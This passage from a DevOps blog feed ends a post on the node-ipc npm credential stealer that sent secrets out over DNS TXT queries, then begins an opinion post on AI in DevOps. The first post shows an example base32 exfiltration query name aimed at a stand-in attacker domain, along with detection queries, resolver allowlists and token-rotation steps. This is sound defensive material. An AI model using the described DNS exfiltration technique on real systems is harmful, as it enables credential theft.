<p>DNS sits underneath all of that. Before any HTTPS connection happens, the runner asks the OS resolver for an A or AAAA record. The OS resolver forwards to whatever was set in <code>/etc/resolv.conf</code>, usually a cloud-provided resolver (AWS at <code>169.254.169.253</code> from within a VPC, or Google at <code>169.254.169.254</code> for GCE). The resolver chases the query out to authoritative servers on the public internet. By the time the runner&#39;s HTTP-egress firewall sees the connection, the DNS query has already happened, and any TXT lookups the payload made along the way are already logged on the attacker&#39;s name server.</p>
<p>So:</p>
<ul>
<li>An L7 HTTPS allowlist does not block this. The exfil never makes an HTTPS connection.</li>
<li>A blanket &quot;block all outbound except 443 to allowlisted domains&quot; rule does not block this. UDP/53 (or TCP/53) to the cloud-provided resolver is needed for <em>any</em> DNS to work, including the legitimate <code>registry.npmjs.org</code> resolution that your build needs.</li>
<li>Even DoH or DoT to your own resolver does not block this if the resolver itself is happy to forward arbitrary public queries.</li>
</ul>
<p>The control you actually need is at the <strong>resolver</strong> layer: an allowlist of domains the resolver is willing to answer for, with everything else returning NXDOMAIN. Or, less drastically, query logging plus an alert on patterns that look like exfil.</p>
<h2 id="h2-detection-spotting-exfil-in-your-dns-logs" class="group relative scroll-mt-24">
        <a href="#h2-detection-spotting-exfil-in-your-dns-logs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Detection: spotting exfil in your DNS logs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-detection-spotting-exfil-in-your-dns-logs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you have DNS query logging enabled on your CI runners or developer laptops, this is what to look for.</p>
<p><strong>Long, high-entropy labels.</strong> A legitimate query is <code>registry.npmjs.org</code>. An exfil query is <code>mfqxezlj4qcaij2gmiyc4t3oojxw4y3vnu3wcljom5wsa2ltnbxxmzlroruxg4dpobxw4u3jonxw2zlu.c07.victim42.evilcorp.net</code>. The first label is base32 binary, very long, and uniformly distributed across the alphabet. That is the signal.</p>
<p>A starter detection on AWS Route 53 Resolver query logs in Athena:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">SELECT</span>
  query_timestamp,
  srcaddr,
  query_name,
  query_type,
  length(query_name) <span class="hljs-keyword">AS</span> qlen
<span class="hljs-keyword">FROM</span> route53_resolver_query_logs
<span class="hljs-keyword">WHERE</span> query_type <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;TXT&#x27;</span>
  <span class="hljs-keyword">AND</span> query_timestamp <span class="hljs-operator">&gt;=</span> <span class="hljs-built_in">current_date</span> <span class="hljs-operator">-</span> <span class="hljs-type">interval</span> <span class="hljs-string">&#x27;1&#x27;</span> <span class="hljs-keyword">day</span>
  <span class="hljs-keyword">AND</span> length(query_name) <span class="hljs-operator">&gt;</span> <span class="hljs-number">80</span>
  <span class="hljs-keyword">AND</span> regexp_like(split_part(query_name, <span class="hljs-string">&#x27;.&#x27;</span>, <span class="hljs-number">1</span>), <span class="hljs-string">&#x27;^[a-z2-7]{50,}$&#x27;</span>)
<span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> query_timestamp <span class="hljs-keyword">DESC</span>;
</code></pre><p>That regex matches a 50-plus-character base32 label, which is the signature of chunked binary in the first label. A normal <code>dig +short A ...</code> query never produces a label that long.</p>
<p>On the runner itself, the same idea with <code>tcpdump</code>:</p>
<pre><code class="hljs language-bash"><span class="hljs-built_in">sudo</span> tcpdump -i any -nn -s 0 -A <span class="hljs-string">&#x27;udp port 53&#x27;</span> 2&gt;/dev/null \
  | grep -oE <span class="hljs-string">&#x27;[a-z2-7]{50,}\.[^ ]+&#x27;</span> \
  | <span class="hljs-built_in">sort</span> -u
</code></pre><p>Leave that running for a baseline build and see what shows up. If anything other than the occasional long ARN-like label appears, dig deeper.</p>
<p><strong>Volume of TXT queries.</strong> Most builds make a handful of A/AAAA queries and effectively zero TXT queries. A build that produces hundreds of TXT queries to the same parent domain is the loud version of the same signal.</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">SELECT</span>
  regexp_extract(query_name, <span class="hljs-string">&#x27;\.([^.]+\.[^.]+)$&#x27;</span>, <span class="hljs-number">1</span>) <span class="hljs-keyword">AS</span> parent_domain,
  <span class="hljs-built_in">count</span>(<span class="hljs-operator">*</span>) <span class="hljs-keyword">AS</span> txt_queries
<span class="hljs-keyword">FROM</span> route53_resolver_query_logs
<span class="hljs-keyword">WHERE</span> query_type <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;TXT&#x27;</span>
  <span class="hljs-keyword">AND</span> query_timestamp <span class="hljs-operator">&gt;=</span> <span class="hljs-built_in">current_timestamp</span> <span class="hljs-operator">-</span> <span class="hljs-type">interval</span> <span class="hljs-string">&#x27;1&#x27;</span> <span class="hljs-keyword">hour</span>
<span class="hljs-keyword">GROUP</span> <span class="hljs-keyword">BY</span> <span class="hljs-number">1</span>
<span class="hljs-keyword">HAVING</span> <span class="hljs-built_in">count</span>(<span class="hljs-operator">*</span>) <span class="hljs-operator">&gt;</span> <span class="hljs-number">50</span>
<span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> <span class="hljs-number">2</span> <span class="hljs-keyword">DESC</span>;
</code></pre><p>50 TXT queries per hour to a single parent domain is well above baseline for normal traffic. Tune the threshold once you have a week of baseline data.</p>
<h2 id="h2-prevention-a-small-dns-allowlist-for-ci" class="group relative scroll-mt-24">
        <a href="#h2-prevention-a-small-dns-allowlist-for-ci" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prevention: a small DNS allowlist for CI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prevention-a-small-dns-allowlist-for-ci"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The strongest control is to give your CI runners a resolver that only answers for domains you want to resolve. Everything else gets NXDOMAIN, and the exfil dies at the resolver.</p>
<p>A minimal CoreDNS config that allowlists npm, GitHub, your container registry, and your cloud provider:</p>
<pre><code class="hljs language-text"># /etc/coredns/Corefile
. {
    template ANY ANY . {
        rcode NXDOMAIN
    }
}

registry.npmjs.org github.com codeload.github.com objects.githubusercontent.com {
    forward . 1.1.1.1 8.8.8.8
    cache 30
    log
}

.ecr.us-east-1.amazonaws.com .s3.us-east-1.amazonaws.com .sts.amazonaws.com {
    forward . 169.254.169.253
    cache 30
    log
}
</code></pre><p>Point your CI runner&#39;s <code>/etc/resolv.conf</code> at this CoreDNS instance instead of the cloud-provided one. Now an <code>npm install</code> of a clean package works. An <code>npm install</code> that pulls a bad node-ipc still runs the install hook, but every TXT query the payload issues comes back NXDOMAIN, and your CoreDNS log has the full record of which domain the payload tried to reach.</p>
<p>Two caveats:</p>
<ol>
<li><strong>The allowlist is real work.</strong> You have to enumerate every domain your builds legitimately query. Expect surprises: the AWS SDK queries STS endpoints by region, GitHub Actions queries a different set of CDN domains depending on what&#39;s being downloaded, Docker queries authentication endpoints by image registry. Spend a day in audit-only mode (log everything, NXDOMAIN nothing) before you flip the switch.</li>
<li><strong>DoH inside the runtime breaks this.</strong> If your application or a build tool resolves DNS through DoH directly to <code>1.1.1.1</code>, your CoreDNS allowlist never sees the query. Block outbound TCP/443 to known public DoH endpoints (<code>1.1.1.1</code>, <code>8.8.8.8</code>, <code>9.9.9.9</code>, <code>1.0.0.1</code>) from runners as a backstop.</li>
</ol>
<p>For developer laptops the equivalent is your endpoint protection or DNS-filtering provider (Cloudflare Gateway, NextDNS, Pi-hole on your home network). The Cloudflare Gateway policy is one line:</p>
<pre><code class="hljs language-text">Action: Block
DNS query type matches: TXT
DNS domain matches regex: ^[a-z2-7]{50,}\.
</code></pre><p>That blocks the exact label shape this payload generates without breaking any legitimate query.</p>
<h2 id="h2-if-you-ran-a-bad-version" class="group relative scroll-mt-24">
        <a href="#h2-if-you-ran-a-bad-version" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          If you ran a bad version
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-if-you-ran-a-bad-version"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The rotation order matters because some tokens can sign other tokens. Do this top-to-bottom on the affected machine and on anything that machine logged into in the last week.</p>
<ol>
<li><strong>GitHub tokens.</strong> <code>gh auth logout</code>, then go to <a href="https://github.com/settings/tokens">https://github.com/settings/tokens</a> and revoke every PAT. Reissue with the minimum scope you actually need. Revoking GH tokens first prevents the attacker from pushing malicious commits to your repos using stolen credentials.</li>
<li><strong>Cloud STS sessions.</strong> Force-expire all active sessions: AWS <code>aws sts get-caller-identity</code> to find the role, then revoke session via console or <code>aws iam put-user-policy</code> denying everything. GCP <code>gcloud auth revoke --all</code>. Azure <code>az logout &amp;&amp; az account clear</code>.</li>
<li><strong>Long-lived cloud keys.</strong> Rotate AWS access keys, GCP service-account JSON keys, Azure SP credentials. Yes, even if you &quot;only had the keys for testing&quot;.</li>
<li><strong>SSH keys.</strong> Reissue keypairs. Remove the public key of the compromised machine from every <code>authorized_keys</code> it landed on, including GitHub, GitLab, your jump host, and any cloud VM you SSH&#39;d into.</li>
<li><strong>Kubeconfig.</strong> Rotate the cluster CA-signed certs for the user. For EKS / GKE / AKS this is &quot;remove the IAM principal from <code>aws-auth</code> and re-add&quot;, &quot;remove the GCP IAM binding and re-add&quot;, &quot;remove the Azure RBAC role assignment and re-add&quot; respectively.</li>
<li><strong>App secrets.</strong> Anything in <code>.env</code> that the payload read: API keys, database passwords, Stripe keys, Sentry DSNs, observability tokens. Rotate the lot.</li>
<li><strong>AI tool keys.</strong> Anthropic, OpenAI, Mistral, Cursor, Continue.dev. These were explicit targets in this payload.</li>
</ol>
<p>While you&#39;re rotating, also run a <code>git log --since=&quot;2026-05-14&quot; --author=&lt;your-email&gt;</code> on every repo you have push access to. The attacker&#39;s first move with a stolen GH token is usually a commit to a repo you maintain, either as a worm-propagation step or as the next pivot. If anything in that log looks unfamiliar, force-push the previous good HEAD and rotate the token before the new one runs the worm again.</p>
<h2 id="h2-why-this-matters-beyond-node-ipc" class="group relative scroll-mt-24">
        <a href="#h2-why-this-matters-beyond-node-ipc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why this matters beyond node-ipc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-matters-beyond-node-ipc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The node-ipc payload is the third major npm credential stealer this month. TanStack on May 11, AntV / <code>echarts-for-react</code> on May 19, node-ipc on May 14, plus the broader Shai-Hulud campaign behind a chunk of these. All three of those campaigns used HTTP POST to attacker domains for exfil. node-ipc is the first one I have seen in the wild use DNS at scale, and the technique works because the average DevOps egress story stops at HTTPS.</p>
<p>If you only take one thing from this post, it&#39;s that <strong>DNS is a control plane your firewall does not look at</strong>. Treat it like one. Log it, allowlist it on the high-value machines (CI runners, anything with cloud admin creds, build servers), and put the same kind of alert on weird DNS patterns that you already have on weird HTTPS patterns. Most teams have spent the last six months adding lockfile pinning and provenance verification. That&#39;s necessary. It is not sufficient. The attackers have already moved one layer down.</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The May 14 node-ipc compromise is small in absolute numbers (three versions, 822K weekly downloads), but big in what it demonstrates. A credential stealer that exfils via DNS TXT queries bypasses the HTTPS egress controls almost every team relies on. The defense is a resolver-layer allowlist, query logging with alerting on high-entropy labels, and treating DNS as part of your egress posture instead of an invisible service that just works.</p>
<p>If you ran any of <code>node-ipc@9.1.6</code>, <code>node-ipc@9.2.3</code>, or <code>node-ipc@12.0.1</code> between May 14 and now, treat the machine as compromised and walk the rotation list above. Then add a DNS allowlist to your CI runners before the next wave teaches everyone the same lesson the hard way.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[AI Is Reshaping DevOps. The Engineers Are Faster Than the Vendors.]]></title>
      <link>https://devops.anhp.site/posts/ai-reshaping-devops-engineers-vs-vendors</link>
      <description><![CDATA[GitHub, Datadog, HashiCorp and friends are moving carefully. The engineers running their stacks are wiring AI into kubectl and pull-request review on a Tuesday afternoon. Here is what is actually changing in 2026, what is not, and where the gap between vendors and the engineers using their tools is widest.]]></description>
      <pubDate>Wed, 20 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/ai-reshaping-devops-engineers-vs-vendors</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[DevOps]]></category><category><![CDATA[AI]]></category><category><![CDATA[AIOps]]></category><category><![CDATA[Automation]]></category><category><![CDATA[Developer Tools]]></category>
      <content:encoded><![CDATA[<p>A question gets asked in every DevOps Slack channel right now: how will AI change our work? The honest answer is that no one knows the final shape yet. What we can say with confidence is who is moving faster. It is not the dominant vendors. GitHub, HashiCorp, Datadog, and Red Hat are being careful, because they have customers to keep and revenue to defend, and a wrong AI bet would cost them years. Meanwhile, individual engineers are wiring Claude Code into their kubectl wrappers, training small models on their own incident postmortems, and shipping internal pull-request review agents to teams of five. The Reddit thread that prompted this post is a fair sample of the energy: working engineers trying things, sharing what works, and being honest about what does not.</p>
<p>This post is a working snapshot of where AI is actually changing DevOps in May 2026. What you can use today, what the incumbents are doing, what the engineers running real stacks are doing that the incumbents are not, and which corners are still pure hype.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Code authoring is the area where AI is most useful and least controversial. Pull-request review, test generation, and dependency upgrade chores are the next layer in.</li>
<li>Observability and incident response are getting natural-language query interfaces faster than the vendors expected. Honeycomb&#39;s MCP server, Datadog&#39;s Bits AI, New Relic&#39;s Grok all work. The deeper bet (autonomous root-cause analysis) is still flaky.</li>
<li>Infrastructure-as-code is the slowest moving area. Terraform&#39;s plan/apply loop punishes hallucinations harder than any other surface in the stack.</li>
<li>Big incumbents move slowly because they own the workflow. A bad AI feature ships to thousands of paying teams and the support tickets compound. Individual engineers move fast because they only have to please themselves.</li>
<li>The single highest-leverage thing for a DevOps engineer to try this week: an MCP server that exposes your own infrastructure (kubectl, terraform state, observability) to your AI assistant of choice. The local connection beats every SaaS AIOps tool we have tried.</li>
</ul>
<h2 id="h2-what-has-actually-changed-for-devops-engineers" class="group relative scroll-mt-24">
        <a href="#h2-what-has-actually-changed-for-devops-engineers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What has actually changed for DevOps engineers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-has-actually-changed-for-devops-engineers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Five concrete shifts you can see in the work right now. None of them are speculative.</p>
<h3 id="h3-1-code-authoring-is-solved-enough-that-nobody-talks-about-it" class="group relative scroll-mt-24">
        <a href="#h3-1-code-authoring-is-solved-enough-that-nobody-talks-about-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Code authoring is solved enough that nobody talks about it
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-code-authoring-is-solved-enough-that-nobody-talks-about-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Two years ago, GitHub Copilot was the headline. Today nobody at a DevOps conference mentions it because everyone has it. The question is no longer &quot;will AI write code for me&quot; but &quot;which AI, in which IDE, with what context window.&quot; Claude Code, Cursor, Windsurf, Zed, JetBrains AI Assistant, Aider, Continue all do credible work on Terraform modules, Helm charts, GitHub Actions workflows, and Bash scripts. The differentiator is now the editor experience and the size of the context window, not whether the suggestions are good.</p>
<p>The interesting failure mode: AI is fine at writing the next function. It is bad at writing the next module if &quot;next module&quot; requires holding the system architecture in working memory. A senior engineer&#39;s job has not moved much; the boilerplate has moved a lot.</p>
<h3 id="h3-2-pull-request-review-is-the-next-surface-and-it-is-messy" class="group relative scroll-mt-24">
        <a href="#h3-2-pull-request-review-is-the-next-surface-and-it-is-messy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Pull-request review is the next surface, and it is messy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-pull-request-review-is-the-next-surface-and-it-is-messy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Three patterns are competing:</p>
<ul>
<li><strong>Vendor agents.</strong> GitHub Copilot Code Review, GitLab Duo, CodeRabbit. These plug into the PR, leave comments, sometimes suggest patches. Quality varies. The honest take is that they catch a lot of style nits and miss most architectural issues, which is the inverse of what you want.</li>
<li><strong>Self-hosted agents.</strong> A 200-line script that calls Claude with the diff and a project-specific prompt, posted as a check via the GitHub API. Several engineers we know are running these against their own repos. Hit rate is higher than vendor tools because the prompt is tuned to the codebase. Maintenance overhead is real.</li>
<li><strong>PR-triggered agentic workflows.</strong> Devin, OpenHands, Claude Code in headless mode. Pick up a PR, run the tests, push a fix commit if a failure looks recoverable. Works for small classes of bug (linting, type errors). Falls over on anything that requires judgement.</li>
</ul>
<p>Nobody has the answer yet. The space is moving fast enough that what we wrote three months ago is already stale. If you are picking one to evaluate this quarter, the self-hosted script gives you the cleanest mental model of what AI is actually doing on your codebase.</p>
<h3 id="h3-3-observability-is-getting-a-natural-language-interface-fast" class="group relative scroll-mt-24">
        <a href="#h3-3-observability-is-getting-a-natural-language-interface-fast" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Observability is getting a natural-language interface, fast
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-observability-is-getting-a-natural-language-interface-fast"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Datadog Bits AI, New Relic Grok, Honeycomb&#39;s MCP server, Grafana&#39;s natural-language query feature in Loki, Splunk SPL2 with AI assists. The pattern is the same: type a question in English, get a query in the vendor&#39;s DSL plus the result. It works because the search surface is well-defined and bounded. A bad PromQL query returns no rows; a bad Terraform plan can destroy production.</p>
<p>The harder bet from the same vendors is &quot;AI-driven root cause analysis.&quot; The marketing claims are aggressive. The reality, when we have run the products on real incidents, is that they are good at correlating signals and bad at picking the load-bearing one. Useful as a second opinion. Not yet a replacement for an experienced engineer reading the same dashboards.</p>
<h3 id="h3-4-dependency-management-is-being-eaten-by-agents" class="group relative scroll-mt-24">
        <a href="#h3-4-dependency-management-is-being-eaten-by-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Dependency management is being eaten by agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-dependency-management-is-being-eaten-by-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dependabot was the start. The current wave is more ambitious: an agent that runs the upgrade, reads the changelog, updates the calling code, runs the tests, and opens the PR with a summary of what changed. RenovateBot has supported this shape for a while; what is new is that the LLM step in the middle is now reliable enough to ship.</p>
<p>Individual engineers are running this on Tuesday afternoons against their own monorepos. The vendors are catching up. GitHub Copilot now has a &quot;fix the failing PR&quot; mode that does roughly this; Mend, Snyk, and JFrog have variants.</p>
<p>What still does not work well: major-version upgrades that change semantics. The LLM does not know whether <code>removed deprecated foo()</code> means &quot;delete the call&quot; or &quot;migrate to bar().&quot; Senior judgement still wins here.</p>
<h3 id="h3-5-incident-response-is-the-loudest-but-the-slowest" class="group relative scroll-mt-24">
        <a href="#h3-5-incident-response-is-the-loudest-but-the-slowest" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Incident response is the loudest, but the slowest
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-incident-response-is-the-loudest-but-the-slowest"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The pitches: an AI agent that auto-pages, summarises the incident, drafts the postmortem, suggests the fix, runs the rollback. Several vendors sell this story. Cortex, PagerDuty, Rootly, FireHydrant, Incident.io all have an AI feature.</p>
<p>What actually ships well today is the boring part: the summary. Take 30 minutes of Slack messages and produce a five-bullet recap that the incident commander can paste into the postmortem template. Good models do this reliably. Vendors do it. Any engineer with a Claude API key does it for free.</p>
<p>What does not ship well is the action. An AI suggesting &quot;roll back deployment X&quot; is fine. An AI executing the rollback against production needs a level of confidence we do not have yet, and the engineering teams we trust are not letting AI write to prod systems without a human in the loop. That layer of the pitch is still aspirational.</p>
<h2 id="h2-what-has-not-changed" class="group relative scroll-mt-24">
        <a href="#h2-what-has-not-changed" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What has not changed
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-has-not-changed"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Infrastructure-as-code is the surface where AI has had the least real impact. The reasons are honest:</p>
<ul>
<li>A Terraform plan is unforgiving. A hallucinated resource is a 500-line diff at apply time. Even if the engineer catches it, the trust cost is real.</li>
<li>State is hard to read. The LLM does not know what is in your remote state file unless you give it. Many tools cannot give it because the state has secrets in it.</li>
<li>Module conventions are project-specific. The &quot;right&quot; way to write a Terraform module varies by org, and the LLM cannot infer it from the public docs.</li>
</ul>
<p>There are early attempts (Pulumi Copilot, HashiCorp&#39;s Terraform AI features, atmos with AI assists) but none of them have produced the &quot;wow&quot; moment that pair-programming with Claude Code has for application code. The terraform plan loop punishes mistakes harder than any other tool in the DevOps stack, which is exactly why the LLMs struggle there.</p>
